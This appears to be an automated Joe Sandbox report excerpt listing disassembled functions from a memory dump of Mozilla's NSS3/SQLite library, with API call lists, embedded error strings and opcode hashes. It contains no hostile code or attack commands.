Opcode ID: 21b82331567794f9fa41ce9f0239a15f592f1290b480a5b7a4c96609d6b8f96e
Instruction ID: b3bffe7f699d7fd7bbd020f10ccdab6709b48a18425d83a39c88c939da7c6396
Opcode Fuzzy Hash: 21b82331567794f9fa41ce9f0239a15f592f1290b480a5b7a4c96609d6b8f96e
Instruction Fuzzy Hash: 6141D272B0011A9BDB008E699C49BEB37E4EF5436CF050034ED19A7A51E730F919C7AA

Function 6C6D7EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6D80DD), ref: 6C6D7F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6D80DD), ref: 6C6D7F36
free.MOZGLUE(?,?,?,6C6D80DD), ref: 6C6D7F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6D80DD), ref: 6C6D7F5D
DeleteCriticalSection.KERNEL32(?,6C6D80DD), ref: 6C6D7F94
free.MOZGLUE(?), ref: 6C6D7F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6D80DD), ref: 6C6D7FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6D80DD), ref: 6C6D7FE6
free.MOZGLUE(?,6C6D80DD), ref: 6C6D802D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 70ef0bbfaad89d0ae9974cb1d07c64325980d55c8177635421d4a7aa81dd47a8
Instruction ID: c3610b7152b318e0e1fe9af886b557862957331f09f6dc2e1849997c57e12d79
Opcode Fuzzy Hash: 70ef0bbfaad89d0ae9974cb1d07c64325980d55c8177635421d4a7aa81dd47a8
Instruction Fuzzy Hash: E841D3B1B112008BDB209FB9888DE4677B5AB4736CF168239E91583B41D73CF415CBEA

Function 6C71FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C71FF00

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C71FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C71FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C71FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C71FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C71FF8C

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 8c500e63efbc142253467e379301b37d642e91f4966d2de50ea857ccf62c30dc
Instruction ID: e149c9724c1ee0f4951815e226f1bb2bc1207b0e1823f45572359d3e4bd524c2
Opcode Fuzzy Hash: 8c500e63efbc142253467e379301b37d642e91f4966d2de50ea857ccf62c30dc
Instruction Fuzzy Hash: 0E3122B2D093169BEB208F598E44B5BB6ACAF42348F190139ED1997F41F7B1E904C7E1

Function 6C667D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C667E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C667E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C667EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C667F2E

Strings

database corruption, xrefs: 6C667EE2, 6C667F23
%s at line %d of [%.10s], xrefs: 6C667EE7, 6C667F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C667ED8, 6C667F08, 6C667F19

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d4c4a0f767d6df262ba553b52c4d53164749bf4716ab54d8bafac49fb0f374df
Instruction ID: c06d5fb2d1610f3e700d3fa18b35c29e253d8c562e4ebe308c9e3e80f18dd7cd
Opcode Fuzzy Hash: d4c4a0f767d6df262ba553b52c4d53164749bf4716ab54d8bafac49fb0f374df
Instruction Fuzzy Hash: 7961B471A042059FDB15CF26C890FAA77B2BF45308F1449A8EC194BF52D731EC56CBAA

Function 6C64FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C64FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C64FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C64FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C64FE83

Part of subcall function 6C64FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C64FEFA
Part of subcall function 6C64FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C64FF3B

Strings

database corruption, xrefs: 6C64FD6E, 6C64FE30
%s at line %d of [%.10s], xrefs: 6C64FD73, 6C64FE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C64FD64, 6C64FE26

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 3945b22fdb2cfd6d72328e3536e223a1f555f0ac6ae6cd4424b5f5518050b282
Instruction ID: 5a670cfb30f83187f08fb94b600f7f68a786bba00064acaca9f9ae71914cae41
Opcode Fuzzy Hash: 3945b22fdb2cfd6d72328e3536e223a1f555f0ac6ae6cd4424b5f5518050b282
Instruction Fuzzy Hash: F5516271A00205DFDB04CF99C9D0AAEB7F1EF48308F158469EA05AB752E731ED51CBA9

Function 6C715ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]ql), ref: 6C715F0A
TlsGetValue.KERNEL32 ref: 6C715F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C715F2F
PR_Unlock.NSS3(890008E8), ref: 6C715F55
PR_SetError.NSS3(00000000,00000000), ref: 6C715F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C715F7D

Part of subcall function 6C715220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C715F82,8B4274C0), ref: 6C715248
Part of subcall function 6C715220: EnterCriticalSection.KERNEL32(0F6C7E0D,?,6C715F82,8B4274C0), ref: 6C71525C
Part of subcall function 6C715220: PR_SetError.NSS3(00000000,00000000), ref: 6C71528E
Part of subcall function 6C715220: PR_Unlock.NSS3(0F6C7DF1), ref: 6C715299
Part of subcall function 6C715220: free.MOZGLUE(00000000), ref: 6C7152A9

Strings

q]ql, xrefs: 6C715EDB, 6C715F09

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]ql
API String ID: 3150690610-3833839810
Opcode ID: 78842407358345966778fe95157a77c4c1599ed611d62d1ea9f4c0ca93cdd203
Instruction ID: d71f88c076c4b7e23776a20507eaa549ff88e1f5804c9d3e5aeab6fdce20ed00
Opcode Fuzzy Hash: 78842407358345966778fe95157a77c4c1599ed611d62d1ea9f4c0ca93cdd203
Instruction Fuzzy Hash: 2A21D6B1D042049FDB14AF64ED49AEEB7F4EF09318F544039E906A7B01E731A958CBD1

Function 6C6D8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C6E124D,00000001), ref: 6C6D8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C6E124D,00000001), ref: 6C6D8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C6E124D,00000001), ref: 6C6D8D73
PR_Unlock.NSS3(?,?,?,?,?,6C6E124D,00000001), ref: 6C6D8D8C

Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C6E124D,00000001), ref: 6C6D8DBA

Strings

KRAM, xrefs: 6C6D8CF9
KRAM, xrefs: 6C6D8D3E

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6aad08f92cc15b4b76d572b9e7992b323650b6de0aabfde8b87dca9feae43749
Instruction ID: 4c726249c7a087de43de296f0c1a1db2c8896c8c443616cdddd946b014a65ce0
Opcode Fuzzy Hash: 6aad08f92cc15b4b76d572b9e7992b323650b6de0aabfde8b87dca9feae43749
Instruction Fuzzy Hash: 2C218DB5A046018FCB00EF39C58869ABBF0FF59308F16997AD89887751DB35E841CBD5

Function 6C7D0ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C7D0EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C7D0EFA

Part of subcall function 6C6BAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6BAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C7D0ED9, 6C7D0EE5, 6C7D0F06, 6C7D0F0B
Aborting, xrefs: 6C7D0EB3

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 743dd0ab8d9e2460a53749b6796a0e8a16d949fc6af3f153e7b7ac94162c1659
Instruction ID: da9763fcd512513064e890348be5d0edc4462f4ed408a6d1a3ec5e31aad34812
Opcode Fuzzy Hash: 743dd0ab8d9e2460a53749b6796a0e8a16d949fc6af3f153e7b7ac94162c1659
Instruction Fuzzy Hash: 0001ADB6A00104BBDF11AF64DC4A89B3F6CEF46268F014034FD0997A02D631E91087E2

Function 6C7B1C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=kl,?,?,6C6B4E1D), ref: 6C7B1C8A
sqlite3_free.NSS3(00000000), ref: 6C7B1CB6

Strings

an index, xrefs: 6C7B1C67
a CHECK constraint, xrefs: 6C7B1C76, 6C7B1C81
a generated column, xrefs: 6C7B1C6C
w=kl, xrefs: 6C7B1C44
non-deterministic use of %s() in %s, xrefs: 6C7B1C85

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=kl
API String ID: 1840970956-1839235441
Opcode ID: 929d8f99b00fdade803947c867ed0cf4d5dacdcd92cf59799c6614148cb6908f
Instruction ID: 667cac902442f86164b269bd7a24807d41fa784c2e9eec616bbbf0763d740d0b
Opcode Fuzzy Hash: 929d8f99b00fdade803947c867ed0cf4d5dacdcd92cf59799c6614148cb6908f
Instruction Fuzzy Hash: 60012FB1A001004BDB00AF28D9529B277E5EF8238CB14487DE9989BB02EB32E857C755

Function 6C794D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C794DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C794DE0

Strings

invalid, xrefs: 6C794DB8
%s at line %d of [%.10s], xrefs: 6C794DDA
misuse, xrefs: 6C794DD5
API call with %s database connection pointer, xrefs: 6C794DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C794DCB

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c2ca29e239434e17c58f9bb3488d50146858a4df0a86cba71720cf63890276c2
Instruction ID: 8e6f1be582237a11c57b67d6471b522b90a111a9098be57c493ab2f499090044
Opcode Fuzzy Hash: c2ca29e239434e17c58f9bb3488d50146858a4df0a86cba71720cf63890276c2
Instruction Fuzzy Hash: E6F0593BF155282BD7104015EF22F8337954F0232CF4609B0EF346BF72D2059A4082D4

Function 6C794DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C794E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C794E4D

Strings

invalid, xrefs: 6C794E25
%s at line %d of [%.10s], xrefs: 6C794E47
misuse, xrefs: 6C794E42
API call with %s database connection pointer, xrefs: 6C794E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C794E38

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 1ea0952f974d66bf61326927bb2b9b1bfa091483e92036dacb4dc78a45aaf92d
Instruction ID: c9ce77b1a86f8cc2824166b4d4983c65b222851d20ef5c164291f0df5de9f4ad
Opcode Fuzzy Hash: 1ea0952f974d66bf61326927bb2b9b1bfa091483e92036dacb4dc78a45aaf92d
Instruction Fuzzy Hash: 29F09731F848282FE6208025AF50F9337ED4B0632DF0848F1EE3827F82C205996162E5

Function 6C700C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C701444,?,00000001,?,00000000,00000000,?,?,6C701444,?,?,00000000,?,?), ref: 6C700CB3

Part of subcall function 6C76C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C76C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C701444,?,00000001,?,00000000,00000000,?,?,6C701444,?), ref: 6C700DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C701444,?,00000001,?,00000000,00000000,?,?,6C701444,?), ref: 6C700DEC

Part of subcall function 6C720F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C6C2AF5,?,?,?,?,?,6C6C0A1B,00000000), ref: 6C720F1A
Part of subcall function 6C720F10: malloc.MOZGLUE(00000001), ref: 6C720F30
Part of subcall function 6C720F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C720F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C701444,?,00000001,?,00000000,00000000,?), ref: 6C700DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C701444,?,00000001,?,00000000), ref: 6C700E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C701444,?,00000001,?,00000000,00000000,?), ref: 6C700E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C701444,?,00000001,?,00000000,00000000,?,?,6C701444,?,?,00000000), ref: 6C700E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C701444,?,00000001,?,00000000,00000000,?), ref: 6C700E79

Part of subcall function 6C711560: TlsGetValue.KERNEL32(00000000,?,6C6E0844,?), ref: 6C71157A
Part of subcall function 6C711560: EnterCriticalSection.KERNEL32(?,?,?,6C6E0844,?), ref: 6C71158F
Part of subcall function 6C711560: PR_Unlock.NSS3(?,?,?,?,6C6E0844,?), ref: 6C7115B2

Part of subcall function 6C6DB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C6E1397,00000000,?,6C6DCF93,5B5F5EC0,00000000,?,6C6E1397,?), ref: 6C6DB1CB
Part of subcall function 6C6DB1A0: free.MOZGLUE(5B5F5EC0,?,6C6DCF93,5B5F5EC0,00000000,?,6C6E1397,?), ref: 6C6DB1D2

Part of subcall function 6C6D89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C6D88AE,-00000008), ref: 6C6D8A04
Part of subcall function 6C6D89E0: EnterCriticalSection.KERNEL32(?), ref: 6C6D8A15
Part of subcall function 6C6D89E0: memset.VCRUNTIME140(6C6D88AE,00000000,00000132), ref: 6C6D8A27
Part of subcall function 6C6D89E0: PR_Unlock.NSS3(?), ref: 6C6D8A35

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 017ce0ce00b052306193007a3f5a492cfd7687bf4a42217063bb01e8dcc3bdf4
Instruction ID: 7d5a674887c17bfb91345c43724670742f01ddaf9b3c300eb8317c254f41f05d
Opcode Fuzzy Hash: 017ce0ce00b052306193007a3f5a492cfd7687bf4a42217063bb01e8dcc3bdf4
Instruction Fuzzy Hash: 1851C7F6E012015FEB009F64DD45AAF37E8AF09268F150034EC09ABB12F721ED15C7A6

Function 6C6B6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C6B6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C6B6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C6B6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C6B6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C6B6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C6B7010
sqlite3_value_blob.NSS3(?,?), ref: 6C6B701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C6B7052

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
